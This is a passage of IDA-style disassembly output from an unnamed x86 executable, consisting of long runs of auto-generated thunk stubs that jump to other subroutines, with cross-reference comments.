noreturn thunk sub_401BF4 proc near ; CODE XREF: ___:0041433Cp jmp sub_414430 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF9 proc near jmp sub_40C440 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_425100+8Bp jmp sub_424920 sub_401BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: ___:0040B1FEp ; sub_40B250+34p ... jmp sub_40BEB0 sub_401C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp jmp sub_40BD50 sub_401C08 endp ; --------------------------------------------------------------------------- jmp loc_433AB0 ; --------------------------------------------------------------------------- jmp loc_432410 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: sub_431DC0+20p ; sub_431EF0+20p ... jmp sub_431980 sub_401C17 endp ; --------------------------------------------------------------------------- jmp loc_430020 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C21 proc near jmp sub_435AA0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_4138B0+84p ; sub_434D10+3Cp ... jmp sub_434C30 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: ___:0042D7C8p jmp sub_42C350 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_42BB00+446p jmp sub_42B8E0 sub_401C30 endp ; --------------------------------------------------------------------------- jmp loc_41B720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: ___:00432546p ; sub_4344C0+23p jmp sub_432DB0 sub_401C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; DATA XREF: ___:off_43F12Co jmp sub_4292E0 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_41FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p ; ___:0041B49Dp ... jmp sub_41A110 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p jmp sub_42B420 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_41AE80 ; --------------------------------------------------------------------------- jmp loc_416A90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp jmp sub_40BFA0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_415B00+9p ; sub_415C20+18p jmp sub_4166D0 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C67 proc near ; CODE XREF: sub_418D50+4p jmp sub_419070 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4073C0+11p ; ___:004073E7p ... jmp sub_407570 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_404CC0+111p ; sub_40D660+42p ... jmp sub_40A2D0 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0041326Ap ; sub_4132F0+3Cp ... jmp sub_4158D0 sub_401C76 endp ; --------------------------------------------------------------------------- jmp loc_42FCB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: sub_4269A0+69p jmp sub_426B10 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp ; sub_40B600+6Ep ... jmp sub_40BE40 sub_401C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: ___:00430078p ; ___:0043008Dp ... jmp sub_433FB0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_415450+11p ; sub_415ED0+1Fp jmp sub_4160C0 sub_401C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C94 proc near ; DATA XREF: ___:0043F0D4o jmp sub_41D930 sub_401C94 endp ; --------------------------------------------------------------------------- jmp loc_419A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_4073C0+9p ; sub_418E80+18p jmp sub_407610 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p ; ___:00416C3Bp ... jmp sub_4132F0 sub_401CA3 endp ; --------------------------------------------------------------------------- jmp loc_40B8F0 ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: ___:off_43F05Co jmp loc_416D90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap jmp sub_4182B0 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp ; sub_415BA0+43p jmp sub_4166A0 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p jmp sub_4099C0 sub_401CC1 endp ; --------------------------------------------------------------------------- jmp loc_434430 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p jmp sub_40A0E0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4077E0+6BAp ; ___:00407F41p ... jmp sub_407740 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_415500+14p ; sub_415540+9p ... jmp sub_416190 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; CODE XREF: sub_4096E0+144p jmp sub_409A50 sub_401CDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p ; sub_404B60+36p ... jmp sub_4134A0 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p ; sub_415C20+67p jmp sub_415DC0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near jmp sub_409B80 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; DATA XREF: ___:0043F06Co jmp sub_41FD00 sub_401CF3 endp ; --------------------------------------------------------------------------- jmp loc_42F3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CFD proc near ; CODE XREF: sub_40BF70+5p jmp sub_40C1D0 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D02 proc near ; CODE XREF: ___:0043242Fp jmp sub_430520 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_421E50+11p ; ___:00421E77p ... jmp sub_422400 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D0C proc near ; DATA XREF: ___:0043F048o jmp sub_4132C0 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D11 proc near ; CODE XREF: sub_415890+1Fp jmp sub_416220 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp ; sub_40F6D0+1EDp ... jmp sub_40F660 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp jmp sub_414160 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404C70+23p ; sub_410030+13C2p jmp sub_412BF0 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: ___:00416F2Fp jmp sub_418150 sub_401D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D2A proc near ; CODE XREF: sub_407590+7p ; sub_40C2E0+7p ... jmp sub_407630 sub_401D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap ; sub_40A9A0+4p ... jmp sub_40A960 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_404690+289p ; sub_404690+2ADp ... jmp sub_40A180 sub_401D34 endp ; --------------------------------------------------------------------------- jmp loc_4305A0 ; --------------------------------------------------------------------------- loc_401D3E: ; DATA XREF: ___:0043F154o jmp loc_4295B0 ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D48 proc near jmp sub_404010 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_4120B0+123p ; sub_4120B0+1E2p jmp sub_412780 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_41B570 ; --------------------------------------------------------------------------- jmp loc_40B870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_421D80+5p jmp sub_4222E0 sub_401D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp jmp sub_416790 sub_401D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p jmp sub_42FD30 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D6B proc near ; CODE XREF: sub_418CA0+7p jmp sub_418F40 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_413740+5Dp ; sub_413740+9Bp ... jmp sub_415420 sub_401D70 endp ; --------------------------------------------------------------------------- jmp loc_437390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_415820+14p ; sub_415860+9p ... jmp sub_4164E0 sub_401D7A endp ; --------------------------------------------------------------------------- jmp loc_40B960 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D84 proc near ; CODE XREF: sub_4341C0+98p jmp sub_431950 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_421C60+14p ; sub_421CA0+9p ... jmp sub_4222B0 sub_401D89 endp ; --------------------------------------------------------------------------- jmp loc_42DAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D93 proc near jmp sub_41C490 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_418AB0+14p ; sub_418AF0+9p ... jmp sub_418E20 sub_401D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_413740+53p ; sub_413740+91p ... jmp sub_415270 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA2 proc near ; CODE XREF: sub_422B40+56p jmp sub_426B90 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap jmp sub_426A90 sub_401DA7 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_429330+81p jmp sub_428DC0 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_415770+11p ; sub_416220+1Fp jmp sub_416410 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_415230+14p ; sub_415270+9p ... jmp sub_415E40 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: ___:004147E3p jmp sub_4145A0 sub_401DC0 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_428260+90p jmp sub_428810 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: ___:0042C468p jmp sub_42C1B0 sub_401DD4 endp ; --------------------------------------------------------------------------- jmp loc_4141F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; CODE XREF: sub_434AD0+74p jmp sub_432AE0 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp jmp sub_40B150 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p jmp sub_40AD50 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DED proc near ; CODE XREF: ___:0043062Dp ; ___:00430752p ... jmp sub_432C80 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: ___:00426F24p jmp sub_4281A0 sub_401DF2 endp ; --------------------------------------------------------------------------- jmp loc_432D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_410030+AE7p ; sub_410030+E5Dp jmp sub_41EF70 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap jmp sub_40AE70 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E06 proc near ; CODE XREF: ___:00416B3Bp ; ___:0043B27Aj ... jmp sub_417BE0 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E0B proc near ; CODE XREF: sub_421F80+4p jmp sub_422420 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p ; sub_425100+50p ... jmp sub_423760 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: ___:0041627Ap jmp sub_416860 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_415DC0+7p jmp sub_4165C0 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp jmp sub_42DA80 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_404CC0+835p ; sub_404CC0+B62p ... jmp sub_4129D0 sub_401E24 endp ; --------------------------------------------------------------------------- jmp sub_4132C0 ; --------------------------------------------------------------------------- jmp sub_429510 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E33 proc near ; CODE XREF: sub_415490+34p ; sub_415F70+67p jmp sub_416110 sub_401E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: sub_413740+31p ; sub_4145A0+2Dp jmp sub_4153B0 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p ; ___:00423FBFp ... jmp sub_426930 sub_401E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_4159F0+3p jmp sub_4164C0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_404690+97p ; sub_404690+107p ... jmp sub_40A4A0 sub_401E47 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_426020 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: ___:00423DFAp jmp sub_423950 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: ___:00421E0Ap jmp sub_422310 sub_401E5B endp ; --------------------------------------------------------------------------- jmp loc_416E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E65 proc near jmp sub_4368D0 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: ___:off_43F098o jmp sub_4369E0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: ___:004337FFp jmp sub_4310A0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_4166A0+5p jmp sub_4168F0 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp ; sub_41D930+6A3p jmp sub_40DC20 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_422510+5Fp jmp sub_422700 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_419F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p ; sub_411930+1Dp ... jmp sub_40AEA0 sub_401E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p ; sub_40AAD0+153p jmp sub_40ADB0 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o jmp sub_41B110 sub_401E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: sub_4156D0+3p jmp sub_416170 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap jmp sub_427B10 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp ; ___:0043B1C4j ... jmp sub_4176E0 sub_401EA1 endp ; --------------------------------------------------------------------------- jmp loc_4331B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap jmp sub_420400 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB0 proc near ; DATA XREF: ___:0043F114o jmp sub_428260 sub_401EB0 endp ; --------------------------------------------------------------------------- jmp loc_433AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_416410+4p jmp sub_416810 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_415920+5Bp ; sub_4162C0+11p ... jmp sub_416510 sub_401EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC4 proc near ; CODE XREF: sub_415740+5p jmp sub_4161F0 sub_401EC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: sub_424920+151p jmp sub_4248E0 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: ___:00416BABp ; ___:0043B218j ... jmp sub_417930 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p jmp sub_415E20 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401ED8 proc near ; CODE XREF: sub_415100+11p ; sub_415140+13p ... jmp sub_415D70 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: sub_421A60+14p ; sub_421AA0+9p ... jmp sub_422050 sub_401EDD endp ; --------------------------------------------------------------------------- jmp loc_418960 ; --------------------------------------------------------------------------- jmp loc_41C350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_418F90+18p ; sub_421DB0+9p jmp sub_419150 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_422640+Ap jmp sub_4227E0 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_41BD50 ; --------------------------------------------------------------------------- jmp loc_433BA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: ___:00416B0Bp ; ___:0043B2A4j ... jmp sub_417C20 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p jmp loc_40AA30 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp ; sub_41BA50+54p ... jmp sub_4199A0 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00414395p jmp sub_415570 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F14 proc near ; CODE XREF: sub_4157B0+34p ; sub_4162C0+67p jmp sub_416460 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_4153D0+3p ; ___:00415B4Fp ... jmp sub_415E00 sub_401F19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F1E proc near jmp sub_412CE0 sub_401F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp jmp sub_415450 sub_401F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: sub_407140+5Cp ; sub_418F60+3p jmp sub_407360 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F2D proc near ; CODE XREF: ___:00419203p jmp sub_419270 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: ___:0040BFFAp jmp sub_40C330 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:0042C44Fp jmp sub_42C0A0 sub_401F37 endp ; --------------------------------------------------------------------------- loc_401F3C: ; DATA XREF: ___:off_43F08Co jmp loc_435B90 ; --------------------------------------------------------------------------- loc_401F41: ; DATA XREF: ___:00424194o jmp loc_423D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: ___:00416B6Bp ; ___:0043B250j ... jmp sub_417B40 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_413C40+99p jmp sub_413E10 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp ; ___:0040BC0Dp ... jmp sub_40B7E0 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p jmp sub_423820 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p jmp sub_4068E0 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o jmp sub_42C640 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F64 proc near ; CODE XREF: sub_413A80+72p jmp sub_413740 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_418430+5Fp ; sub_418A40+1Ap ... jmp sub_418AB0 sub_401F69 endp ; --------------------------------------------------------------------------- jmp loc_430290 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p jmp sub_42E5B0 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp ; sub_40B600:loc_40B68Bp ... jmp sub_40BF20 sub_401F78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F7D proc near jmp sub_41E500 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_40A510+142p jmp sub_40A8F0 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_404690+35Dp ; sub_404690+39Ep jmp sub_404B60 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_415ED0+9p ; sub_415F70+18p jmp sub_4167D0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp jmp sub_432ED0 sub_401F91 endp ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_427740+1Dp ; sub_427C90+1Dp ... jmp sub_4277B0 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp ; sub_429450+1Fp ... jmp sub_429120 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: ___:0042B063p jmp sub_42B090 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_406C20 ; --------------------------------------------------------------------------- jmp loc_40D540 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p ; sub_4096E0+153p jmp sub_409A20 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_422700+5p jmp sub_422870 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_407390+5p jmp sub_407540 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp ; sub_413740+DBp ... jmp sub_4153D0 sub_401FC3 endp ; --------------------------------------------------------------------------- jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap ; sub_415CE0+32p jmp sub_415C20 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near jmp sub_40F100 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p jmp sub_412C20 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_404690+48p ; sub_404690+5Dp ... jmp sub_409E00 sub_401FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE1 proc near ; DATA XREF: ___:off_43F090o jmp sub_419A50 sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p ; sub_41B140+9j ... jmp sub_41A210 sub_401FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FEB proc near ; CODE XREF: sub_40BD90+34p ; sub_40C200+67p jmp sub_40C120 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_433980 ; --------------------------------------------------------------------------- loc_401FF5: ; DATA XREF: ___:off_43F094o jmp loc_436570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near jmp sub_40F180 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_4375F0 ; --------------------------------------------------------------------------- loc_402004: ; DATA XREF: ___:0043F03Co jmp loc_41EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_41F960+5Ap jmp sub_420040 sub_402009 endp ; --------------------------------------------------------------------------- jmp 